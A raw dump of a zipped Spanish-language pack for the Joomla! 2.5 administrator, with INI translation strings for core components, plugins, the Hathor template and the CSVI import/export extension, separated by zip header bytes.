COM_NEWSFEEDS_N_ITEMS_PUBLISHED_1="El canal electrónico ha sido publicado correctamente" COM_NEWSFEEDS_N_ITEMS_TRASHED="%d canales electrónicos han sido movidos a la papelera correctamente" COM_NEWSFEEDS_N_ITEMS_TRASHED_1="El canal electrónico ha sido movido a la papelera correctamente" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED="%d canales electrónicos han sido despublicados" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED_1="El canal electrónico ha sido despublicado correctamente" COM_NEWSFEEDS_NEW_NEWSFEED="Nuevo" COM_NEWSFEEDS_NO_ITEM_SELECTED="Sin canales electrónicos seleccionados" COM_NEWSFEEDS_NUM_ARTICLES_HEADING="Noticias" COM_NEWSFEEDS_PUBLISH_ITEM="Publicar el canal electrónico" COM_NEWSFEEDS_SAVE_SUCCESS="El canal electrónico ha sido guardado correctamente" COM_NEWSFEEDS_SEARCH_IN_TITLE="Buscar" COM_NEWSFEEDS_SELECT_A_FEED="Seleccione un canal electrónico" COM_NEWSFEEDS_SELECT_FEED="Seleccionar canal electrónico" COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC="Configurado en 'Mostrar', se mostrarán las categorías vacías. Solo se considera que una categoría está vacía si no contiene canales electrónicos o subcategorías." COM_NEWSFEEDS_SUBMENU_CATEGORIES="Categorías" COM_NEWSFEEDS_SUBMENU_NEWSFEEDS="Canales electrónicos" COM_NEWSFEEDS_UNPUBLISH_ITEM="Despublicar el canal electrónico" COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME="Por favor, proporcione un nombre válido" COM_NEWSFEEDS_XML_DESCRIPTION="Este componente gestiona canales electrónicos del tipo RSS y Atom." JGLOBAL_NEWITEMSLAST_DESC="Los canales electrónicos, predeterminadamente, se ordenan en la última posición. El orden se puede cambiar una vez que se haya guardado a este canal electrónico." JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\ (language/es-ES/es-ES.com_checkin.sys.ininuW+A; $Id: es-ES.com_checkin.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CHECKIN="Desbloqueo global" COM_CHECKIN_XML_DESCRIPTION="Componente de desbloqueo" PK@y>\Qr0language/es-ES/es-ES.plg_finder_weblinks.sys.ininuW+A; $Id: es-ES.plg_finder_weblinks.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_WEBLINKS="Búsquedas inteligentes - Enlaces web" PLG_FINDER_WEBLINKS_ERROR_ACTIVATING_PLUGIN="No se ha podido activar automáticamente el plugin "_QQ_"Búsquedas inteligentes - Enlaces web"_QQ_"" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="Este plugin indexa los enlaces web de Joomla!" PK@y>\Pc(language/es-ES/es-ES.mod_akadmin.sys.ininuW+A; Revisado: www.gnumla.com - 15.04.10 - Isidro Baquero y Carlos Cámara AKEEBA_NOT_ENABLED="Akeeba Backup no está activo en este sitio" LBL_WARNINGS="Activar el icono de advertencias" DESC_WARNINGS="Cuando está activo, el icono del logo de Akeeba Backup muestra una pequeña señal de advertencia si el respaldo falló o no está actualizado (ver más abajo)." LBL_WARNFAILED="Avisar si el respaldo falló" DESC_WARNFAILED="Aún cuando las opciones anteriores estén habilitadas, un icono de advertencia aparece si el último respaldo falló." LBL_PERIOD="Determine el tiempo entre respaldos, en horas" DESC_PERIOD="Suponga que un respaldo es inservible o antigua si han pasado muchas horas desde la última copia correcta. Si la copia de seguridad es inservible o antigua, un icono de advertencia se muestra si la primera opción está habilitada." LBL_YES="Activar" LBL_NO="Desactivar" LBL_AKEEBA="El respaldo está al día" LBL_BACKUPREQUIRED="¡Es necesario hacer un respaldo del sitio!" PK@y>\)""7language/es-ES/es-ES.plg_vmcustom_specification.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION="Especificación de producto personalizada" PK@y>\zQ,0language/es-ES/es-ES.plg_finder_contacts.sys.ininuW+A; $Id: es-ES.plg_finder_contacts.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_CONTACTS="Búsquedas inteligentes - Contactos" PLG_FINDER_CONTACTS_ERROR_ACTIVATING_PLUGIN="No se ha podido activar automáticamente el plugin "_QQ_"Búsquedas inteligentes - Contactos"_QQ_"" PLG_FINDER_CONTACTS_XML_DESCRIPTION="Este plugin indexa los contactos de Joomla!" PK@y>\‡*language/es-ES/es-ES.com_installer.sys.ininuW+A; $Id: es-ES.com_installer.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_INSTALLER="Gestor del instalador" COM_INSTALLER_XML_DESCRIPTION="Componente que permite añadir, eliminar y actualizar extensiones" PK@y>\݂bb4language/es-ES/es-ES.plg_editors-xtd_article.sys.ininuW+A; $Id: es-ES.plg_editors-xtd_article.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_ARTICLE_XML_DESCRIPTION="Se muestra un botón que permite insertar enlaces de artículo dentro de un artículo. También se muestra una ventana emergente que permite seleccionar el artículo" PLG_EDITORS-XTD_ARTICLE="Botón - Artículo" PK@y>\Ys&language/es-ES/es-ES.com_menus.sys.ininuW+A; $Id: es-ES.com_menus.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MENUS="Gestor de menús" COM_MENUS_XML_DESCRIPTION="Componente para crear menús" PK@y>\n**-language/es-ES/es-ES.plg_extension_joomla.ininuW+A; $Id: es-ES.plg_extension_joomla.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EXTENSION_JOOMLA="Extensión - Joomla" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Gestiona la actualización de extensiones para los sitios" PLG_EXTENSION_JOOMLA_UNKNOWN_SITE="Sitio desconocido" PK@y>\W]]#language/es-ES/es-ES.tpl_hathor.ininuW+A; $Id: es-ES.tpl_hathor.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! HATHOR="Hathor: plantilla de la administración" TPL_HATHOR_ALTERNATE_MENU_DESC="Use el menú alternativo, el cual integra al ratón y al teclado. Requiere de JavaScript (El menú normal de la plantilla Hathor es accesible con o sin Javascript, pero deja al teclado y al ratón independientes.)" TPL_HATHOR_ALTERNATE_MENU_LABEL="Menú alternativo" TPL_HATHOR_BOLD_TEXT_DESC="Usar texto en negrita" TPL_HATHOR_BOLD_TEXT_LABEL="Texto en negrita" TPL_HATHOR_COLOUR_CHOICE_DESC="Seleccione el color de la paleta que desee usar con la plantilla. Puede usar esta opción para seleccionar una versión de alto contraste, o usarlo para crear su propia versión personalizada." TPL_HATHOR_COLOUR_CHOICE_LABEL="Seleccionar color" TPL_HATHOR_COLOUR_CHOICE_STANDARD="Estándar" TPL_HATHOR_COLOUR_CHOICE_HIGH_CONTRAST="Alto contraste" TPL_HATHOR_COLOUR_CHOICE_BROWN="Marrón" TPL_HATHOR_COLOUR_CHOICE_BLUE="Azul" TPL_HATHOR_COM_MENUS_MENU="Menú" TPL_HATHOR_COM_MODULES_CUSTOM_POSITION_LABEL="Seleccionar" TPL_HATHOR_CPANEL_LINK_TEXT="Volver al panel de control" TPL_HATHOR_GO="Ir" TPL_HATHOR_MAIN_MENU="Menú principal" TPL_HATHOR_SHOW_SITE_NAME_DESC="Se muestra el nombre del sitio en el encabezado de la plantilla" TPL_HATHOR_SHOW_SITE_NAME_LABEL="Mostrar nombre del sitio" TPL_HATHOR_SKIP_TO_MAIN_CONTENT="Ir al contenido principal" TPL_HATHOR_SUB_MENU="Submenú" TPL_HATHOR_XML_DESCRIPTION="Hathor es una plantilla de la administración para Joomla! El archivo CSS de alto contraste también puede usarse para personalizar la gama de colores." PK@y>\S##$language/es-ES/es-ES.mod_toolbar.ininuW+A; $Id: es-ES.mod_toolbar.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_TOOLBAR="Barra de herramientas" MOD_TOOLBAR_XML_DESCRIPTION="Este módulo muestra los iconos de la barra de herramientas usados para controlar opciones dentro del área de la administración." PK@y>\bő.language/es-ES/es-ES.plg_search_categories.ininuW+A; $Id: es-ES.plg_search_categories.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_CATEGORIES_CATEGORIES="Categorías" PLG_SEARCH_CATEGORIES="Buscar - Categorías" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_DESC="Cantidad de resultados de la búsqueda a mostrar" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_LABEL="Límite de la búsqueda" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Se habilitan las búsquedas en la información de categorías" PK@y>\>1language/es-ES/es-ES.plg_system_highlight.sys.ininuW+A; $Id: es-ES.plg_system_highlight.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SYSTEM_HIGHLIGHT="Sistema - Resaltador" PLG_SYSTEM_HIGHLIGHT_ERROR_ACTIVATING_PLUGIN="No se ha podido activar automáticamente el plugin "_QQ_"Sistema - Remarcador"_QQ_"" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="Plugin del sistema para remarcar los términos específicos." PK@y>\l=^(^(language/es-ES/install.xmlnuW+A Spanish (ES) es-ES 2.5.28.1 2015-1-11 Spanish Translation Team: Comunidad Joomla info@comunidadjoomla.org www.comunidadjoomla.org Copyright (C) 2005 - 2015 Open Source Matters and comunidadjoomla.org. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt Spanish language pack for Joomla! 2.5.28 - Administrator index.html es-ES.com_admin.ini es-ES.com_admin.sys.ini es-ES.com_banners.ini es-ES.com_banners.sys.ini es-ES.com_cache.ini es-ES.com_cache.sys.ini es-ES.com_categories.ini es-ES.com_categories.sys.ini es-ES.com_checkin.ini es-ES.com_checkin.sys.ini es-ES.com_config.ini es-ES.com_config.sys.ini es-ES.com_contact.ini es-ES.com_contact.sys.ini es-ES.com_content.ini es-ES.com_content.sys.ini es-ES.com_cpanel.ini es-ES.com_cpanel.sys.ini es-ES.com_finder.ini es-ES.com_finder.sys.ini es-ES.com_installer.ini es-ES.com_installer.sys.ini es-ES.com_joomlaupdate.ini es-ES.com_joomlaupdate.sys.ini es-ES.com_languages.ini es-ES.com_languages.sys.ini es-ES.com_login.ini es-ES.com_login.sys.ini es-ES.com_mailto.sys.ini es-ES.com_media.ini es-ES.com_media.sys.ini es-ES.com_menus.ini es-ES.com_menus.sys.ini es-ES.com_messages.ini es-ES.com_messages.sys.ini es-ES.com_modules.ini es-ES.com_modules.sys.ini es-ES.com_newsfeeds.ini es-ES.com_newsfeeds.sys.ini es-ES.com_plugins.ini es-ES.com_plugins.sys.ini es-ES.com_redirect.ini es-ES.com_redirect.sys.ini es-ES.com_search.ini es-ES.com_search.sys.ini es-ES.com_templates.ini es-ES.com_templates.sys.ini es-ES.com_users.ini es-ES.com_users.sys.ini es-ES.com_weblinks.ini es-ES.com_weblinks.sys.ini es-ES.com_wrapper.ini es-ES.com_wrapper.sys.ini es-ES.lib_joomla.ini es-ES.ini es-ES.localise.php es-ES.mod_custom.ini es-ES.mod_custom.sys.ini es-ES.mod_feed.ini es-ES.mod_feed.sys.ini es-ES.mod_latest.ini es-ES.mod_latest.sys.ini es-ES.mod_logged.ini es-ES.mod_logged.sys.ini es-ES.mod_login.ini es-ES.mod_login.sys.ini es-ES.mod_menu.ini es-ES.mod_menu.sys.ini es-ES.mod_multilangstatus.ini es-ES.mod_multilangstatus.sys.ini es-ES.mod_popular.ini es-ES.mod_popular.sys.ini es-ES.mod_quickicon.ini es-ES.mod_quickicon.sys.ini es-ES.mod_status.ini es-ES.mod_status.sys.ini es-ES.mod_submenu.ini es-ES.mod_submenu.sys.ini es-ES.mod_title.ini es-ES.mod_title.sys.ini es-ES.mod_toolbar.ini es-ES.mod_toolbar.sys.ini es-ES.mod_version.ini es-ES.mod_version.sys.ini es-ES.plg_authentication_gmail.ini es-ES.plg_authentication_gmail.sys.ini es-ES.plg_authentication_joomla.ini es-ES.plg_authentication_joomla.sys.ini es-ES.plg_authentication_ldap.ini es-ES.plg_authentication_ldap.sys.ini es-ES.plg_captcha_recaptcha.ini es-ES.plg_captcha_recaptcha.sys.ini es-ES.plg_content_emailcloak.ini es-ES.plg_content_emailcloak.sys.ini es-ES.plg_content_finder.ini es-ES.plg_content_finder.sys.ini es-ES.plg_content_geshi.ini es-ES.plg_content_geshi.sys.ini es-ES.plg_content_joomla.ini es-ES.plg_content_joomla.sys.ini es-ES.plg_content_loadmodule.ini es-ES.plg_content_loadmodule.sys.ini es-ES.plg_content_pagebreak.ini es-ES.plg_content_pagebreak.sys.ini es-ES.plg_content_pagenavigation.ini es-ES.plg_content_pagenavigation.sys.ini es-ES.plg_content_vote.ini es-ES.plg_content_vote.sys.ini es-ES.plg_editors_codemirror.ini es-ES.plg_editors_codemirror.sys.ini es-ES.plg_editors_none.ini es-ES.plg_editors_none.sys.ini es-ES.plg_editors_tinymce.ini es-ES.plg_editors_tinymce.sys.ini es-ES.plg_editors-xtd_article.ini es-ES.plg_editors-xtd_article.sys.ini es-ES.plg_editors-xtd_image.ini es-ES.plg_editors-xtd_image.sys.ini es-ES.plg_editors-xtd_pagebreak.ini es-ES.plg_editors-xtd_pagebreak.sys.ini es-ES.plg_editors-xtd_readmore.ini es-ES.plg_editors-xtd_readmore.sys.ini es-ES.plg_extension_joomla.ini es-ES.plg_extension_joomla.sys.ini es-ES.plg_finder_categories.ini es-ES.plg_finder_categories.sys.ini es-ES.plg_finder_contacts.ini es-ES.plg_finder_contacts.sys.ini es-ES.plg_finder_content.ini es-ES.plg_finder_content.sys.ini es-ES.plg_finder_newsfeeds.ini es-ES.plg_finder_newsfeeds.sys.ini es-ES.plg_finder_weblinks.ini es-ES.plg_finder_weblinks.sys.ini es-ES.plg_quickicon_eosnotify.ini es-ES.plg_quickicon_eosnotify.sys.ini es-ES.plg_quickicon_extensionupdate.ini es-ES.plg_quickicon_extensionupdate.sys.ini es-ES.plg_quickicon_joomlaupdate.ini es-ES.plg_quickicon_joomlaupdate.sys.ini es-ES.plg_search_categories.ini es-ES.plg_search_categories.sys.ini es-ES.plg_search_contacts.ini es-ES.plg_search_contacts.sys.ini es-ES.plg_search_content.ini es-ES.plg_search_content.sys.ini es-ES.plg_search_newsfeeds.ini es-ES.plg_search_newsfeeds.sys.ini es-ES.plg_search_weblinks.ini es-ES.plg_search_weblinks.sys.ini es-ES.plg_system_cache.ini es-ES.plg_system_cache.sys.ini es-ES.plg_system_debug.ini es-ES.plg_system_debug.sys.ini es-ES.plg_system_highlight.ini es-ES.plg_system_highlight.sys.ini es-ES.plg_system_languagecode.ini es-ES.plg_system_languagecode.sys.ini es-ES.plg_system_languagefilter.ini es-ES.plg_system_languagefilter.sys.ini es-ES.plg_system_log.ini es-ES.plg_system_log.sys.ini es-ES.plg_system_logout.ini es-ES.plg_system_logout.sys.ini es-ES.plg_system_p3p.ini es-ES.plg_system_p3p.sys.ini es-ES.plg_system_redirect.ini es-ES.plg_system_redirect.sys.ini es-ES.plg_system_remember.ini es-ES.plg_system_remember.sys.ini es-ES.plg_system_sef.ini es-ES.plg_system_sef.sys.ini es-ES.plg_user_contactcreator.ini es-ES.plg_user_contactcreator.sys.ini es-ES.plg_user_joomla.ini es-ES.plg_user_joomla.sys.ini es-ES.plg_user_profile.ini es-ES.plg_user_profile.sys.ini es-ES.tpl_bluestork.ini es-ES.tpl_bluestork.sys.ini es-ES.tpl_hathor.ini es-ES.tpl_hathor.sys.ini install.xml es-ES.xml PK@y>\h!1language/es-ES/es-ES.plg_extension_joomla.sys.ininuW+A; $Id: es-ES.plg_extension_joomla.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EXTENSION_JOOMLA="Extensión - Joomla" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Gestiona la actualización de extensiones para los sitios" PK@y>\l!language/es-ES/es-ES.com_csvi.ininuW+A; ; CSVI English language file ; ; @package CSVI ; @subpackage Language ; @author Roland Dalmulder ; @link http://www.csvimproved.com ; @copyright @[c]@ ; @version $Id: en-GB.com_csvi.ini 2275 2013-01-03 21:08:43Z RolandD $ ; ; csvi.php COM_CSVI_ERROR_CHECKING_VERSION="Ha ocurrido un error al comprobar si hay una nueva version. Por favor, intentalo mas tarde." COM_CSVI_ERROR_CREATING_FOLDER="Ha ocurrido un error al crear la carpeta." COM_CSVI_CONFIRM_DB_DELETE="Está usted seguro que quiere vaciar la base de datos?" COM_CSVI_CONFIRM_CSVITABLES_DELETE="¿Esta seguro de que quiere borrar las tablas de copia de seguridad de CSVI?" COM_CSVI_CHOOSE_RESTORE_FILE_LABEL="Seleccione archivo para restaurar." COM_CSVI_CHOOSE_BACKUP_LOCATION_LABEL="Escoja la carpeta para la copia de seguridad (/tmp/com_csvi)" COM_CSVI_ERROR_DURING_PROCESS="Oops algo ha ido mal.

            Deja que intente mostrarte el error aqui abajo. Si no aparece nada es que no he podido obtener ningun dato, a veces esto puede ser provocado por la falta de plugins.

            Cancela la importacion, comprueba que toda la configuracion esta correcta y vuelve a intentarlo." ; views/templatetypes/view.html.php COM_CSVI_TEMPLATETYPES="Tipos de plantilla" ; views/templatetypes/tmpl/default.php COM_CSVI_TEMPLATE_TYPE_NAME="Nombre del tipo de plantilla" COM_CSVI_TEMPLATE_TYPE_DESC="Descripcion del tipo de plantilla" COM_CSVI_COMPONENT_NAME="Nombre de componente" COM_CSVI_TEMPLATE_PROCESS="Proceso" ; views/templatetype/view.html.php COM_CSVI_PAGE_VIEW_TEMPLATETYPE="Vista" COM_CSVI_PAGE_ADD_TEMPLATETYPE="Añadir" COM_CSVI_PAGE_EDIT_TEMPLATETYPE="Editar" ; views/settings/view.html.php COM_CSVI_SETTINGS_TITLE="Configuración" COM_CSVI_RESET_SETTINGS="Reiniciar" COM_CSVI_SAVE="Guardar" ; views/settings/tmpl/default.php COM_CSVI_SETTINGS_SITE_SETTINGS="Sitio" COM_CSVI_SETTINGS_IMPORT_SETTINGS="Importar configuracion" COM_CSVI_SETTINGS_GOOGLE_BASE_SETTINGS="Google Base" COM_CSVI_SETTINGS_ICECAT_SETTINGS="ICEcat" COM_CSVI_SETTINGS_LOG_SETTINGS="Log" COM_CSVI_SETTINGS_CUSTOM_TABLES="Tablas Personalizadas" COM_CSVI_CONFIRM_RESET_SETTINGS_TITLE="Reestablecer preferencias?" COM_CSVI_CONFIRM_RESET_SETTINGS_TEXT="¿Esta seguro de que quiere borrar toda la configuracion?" COM_CSVI_INCOMPLETE_FORM="Formulario incompleto" ; views/settings/tmpl/default_custom_tables.php COM_CSVI_TABLE_NAME="Nombre de la tabla" ; views/settings/tmpl/default_icecat.php COM_CSVI_GET_ICECAT_ACCOUNT="Registrese para tener una cuenta de ICEcat" ; views/settings/tmpl/default_import.php COM_CSVI_PREVIEW_NOT_GREATER_NOLINES="El numero de lineas a previsualizar no puede ser mayor que el numero de linea a importar." COM_CSVI_FAILURE="Fallo" ; views/settings/tmpl/default_log.php COM_CSVI_LOG_SETTINGS="Opciones de Log" COM_CSVI_DEBUG_LOG_SETTINGS="Opcion de Log Debug" ; views/process/view.html.php COM_CSVI_PROCESS="Procesar" COM_CSVI_CRONLINE="Comando Cron" ; views/process/view.result.php COM_CSVI_RUNTIME_IMPORT="Tiempo de ejecucion %s minutos (%s segundos)" COM_CSVI_IMPORT_RESULT="Resultados de importación" COM_CSVI_EXPORT_RESULT="Resultados de exportación" ; views/process/tmpl/default.php COM_CSVI_IMPORT_TEMPLATE_DETAILS="Detalles de plantilla" COM_CSVI_LOAD="Cargar" COM_CSVI_REMOVE="Borrar" COM_CSVI_APPLY="Aplicar" COM_CSVI_SAVE_AS_NEW="Guardar y nuevo" COM_CSVI_PROCESS_OPTIONS="Opciones" COM_CSVI_GO="Ir" COM_CSVI_IMPORT_DETAILS="Opciones de importacion" COM_CSVI_EXPORT_DETAILS="Opciones de exportacion" COM_CSVI_IMPORT_ADD_TEMPLATE_NAME_DESC="Indique nombre de plantilla" COM_CSVI_IMPORT_ADD_TEMPLATE_NAME_LABEL="Nombre de plantilla" COM_CSVI_REMOVE_TEMPLATE_DESC="¿Esta seguro de que quiere borrar la plantilla?" COM_CSVI_REMOVE_TEMPLATE_LABEL="Borrar plantilla" ; views/process/tmpl/import_result.php COM_CSVI_RESULTS_FOR="Resultados para %s" COM_CSVI_TOTAL="Total" COM_CSVI_RESULT="Resultado" COM_CSVI_STATUS="Estado" COM_CSVI_SHOW_FULL_LOG="Mostrar log completo" COM_CSVI_NO_RESULTS_FOUND="No se han encontrado detalles del log" COM_CSVI_IMPORT_FINISHED_NO_LOG_STORE="La importacion ha finalizado" COM_CSVI_NO_LOG_EXPLAIN="Para ver los resultados detallados de la importacion, habilite la opcion Guardar Informes de Log en la Configuracion" COM_CSVI__RESULT="Resultado" ; views/process/tmpl/import/default_fields.php COM_CSVI_CUSTOM_TABLE_IMPORT="Escoja la tabla personalizada que desea importar." COM_CSVI_QUICK_ADD_FIELDS="Añadir Rapido" COM_CSVI_SELECT_IMPORT_FIELDS="Opcional: Escoja que campos quiere importar" COM_CSVI_ADD_FIELD="Añadir" COM_CSVI_FIELD_NAME="Nombre del Campo" COM_CSVI_DEFAULT_VALUE="Valor por defecto" COM_CSVI_PROCESS_FIELD="Procesar" COM_CSVI_COMBINE_FIELD="Combinar" COM_CSVI_ADD="Añadir" COM_CSVI_DELETE="Borrar" COM_CSVI_ADD_FIELDS="Añadir Campos" COM_CSVI_CHECK_ALL_FIELDS="Marcar todos" COM_CSVI_UNCHECK_ALL_FIELDS="Desmarcar todos" ; views/process/tmpl/import/default_limit.php COM_CSVI_IMPORT_LIMIT_OPTIONS="Configuracion Limites del Sistema" COM_CSVI_DEFAULT="Por defecto" ; views/process/tmpl/import/default_replacement.php COM_CSVI_IMPORT_REPLACEMENT="Sustitucion" COM_CSVI_REPLACEMENT_FIELD_NAME="Nombre del Campo" COM_CSVI_REPLACEMENT_OLD_VALUE="Encontrar" COM_CSVI_REPLACEMENT_NEW_VALUE="Sustituir" COM_CSVI_REPLACEMENT_TYPE="Tipo" COM_CSVI_REPLACEMENT_REGEX="Expresion regular" COM_CSVI_REPLACEMENT_REGULAR="Texto Regular" ; views/process/tmpl/import/default_source.php COM_CSVI_IMPORT_SOURCE_OPTIONS="Configuracion Origen" ; views/process/tmpl/export/default_email.php COM_CSVI_EXPORT_EMAIL_OPTIONS="Configuracion E-mail" ; views/process/tmpl/export/default_fields.php COM_CSVI_SELECT_EXPORT_FIELDS="Escoja los campos que desea exportar" COM_CSVI_COLUMN_HEADER="Cabecera de la Columna" COM_CSVI_SORT_FIELD="Ordenar" COM_CSVI_REPLACEMENT_FIELD="Sustituir" ; views/process/tmpl/export/default_layout.php COM_CSVI_EXPORT_LAYOUT_OPTIONS="Configuracion Disposicion" ; views/process/tmpl/export/default_limit.php COM_CSVI_EXPORT_LIMIT_OPTIONS="Configuracion Limites del Sistema" ; views/process/tmpl/export/default_replacement.php COM_CSVI_EXPORT_REPLACEMENT="Sustitucion" ; views/process/tmpl/export/default_source.php COM_CSVI_EXPORT_SOURCE_OPTIONS="Conguracion Exportacion" ; views/process/tmpl/com_virtuemart/import/default_calc.php COM_CSVI_OPTIONS="Configuracion" ; views/process/tmpl/com_virtuemart/import/default_category_image.php COM_CSVI_IMPORT_GENERAL_IMAGES="Configuracion General" COM_CSVI_IMPORT_FULL_IMAGES="Configuracion Imagen Original" COM_CSVI_IMPORT_THUMB_IMAGES="Configuracion Miniatura de la Imagen" ; views/process/tmpl/com_virtuemart/import/default_category_path.php COM_CSVI_IMPORT_PATH_OPTIONS="Conguracion de Rutas" COM_CSVI_SUGGESTED_PATH="Ruta Sugerida: %s" COM_CSVI_PASTE="Pegar" COM_CSVI_CLEAR="Limpiar" ; views/process/tmpl/com_virtuemart/import/default_file.php COM_CSVI_IMPORT_FILE_OPTIONS="Configuracion de Archivo" COM_CSVI_IMPORT_XML_OPTIONS="Configuracion XML" ; views/process/tmpl/com_virtuemart/export/default_file.php COM_CSVI_EXPORT_FILTER_OPTIONS="Configuracion Filtros" COM_CSVI_EXPORT_FORMAT_OPTIONS="Configuracion Formato" COM_CSVI_EXPORT_PRICE_FORMAT_LABEL="Formato del Precio" COM_CSVI_EXPORT_PRICE_FORMAT_DESC="Establezca el formato de visualizacion del precio" ; views/process/tmpl/com_virtuemart/export/default_order.php COM_CSVI_SEARCH="Buscar..." COM_CSVI_EXPORT_USER_ID="ID Usuario" COM_CSVI_EXPORT_USERNAME="Nombre de Usuario" COM_CSVI_EXPORT_PRODUCT_SKU="SKU del Producto" COM_CSVI_EXPORT_PRODUCT_NAME="Nombre del Producto" ; views/process/tmpl/com_virtuemart/export/default_orderitem.php COM_CSVI_EXPORT_ORDER_ITEMS_OPTIONS="Configuracion Elementos de Pedido" ; views/process/tmpl/com_virtuemart/export/default_shipping.php COM_CSVI_EXPORT_SHOPPER_SHIPPING_OPTIONS="Precios de Envio" COM_CSVI_SHOPPER_SHIPPING_PRICE_FROM="Precio de" COM_CSVI_SHOPPER_SHIPPING_PRICE_TO="Precio a" COM_CSVI_SHOPPER_SHIPPING_VALUE="Valor" ; views/process/tmpl/com_redshop/export/default_file.php COM_CSVI_EXPORT_NUMBER_RECORDS="Numero de registros a exportar" COM_CSVI_EXPORT_START_RECORD="Empezar por el registro numero" COM_CSVI_ERROR_LOADING_SITES="Un error ha ocurrido cargando los sitios de exportacion" ; views/maintenance/view.html.php COM_CSVI_MAINTENANCE="Mantenimiento" COM_CSVI_CONTINUE="Continuar" COM_CSVI_LOG_DETAILS="Detalles del log" ; views/maintenance/view.json.php COM_CSVI_CANCEL="Cancelar" ; views/maintenance/tmpl/availablefields.php COM_CSVI_MAINTENANCE_AVAILABLEFIELDS="Campos disponibles" COM_CSVI_TABLES_PROCESSED="Tablas 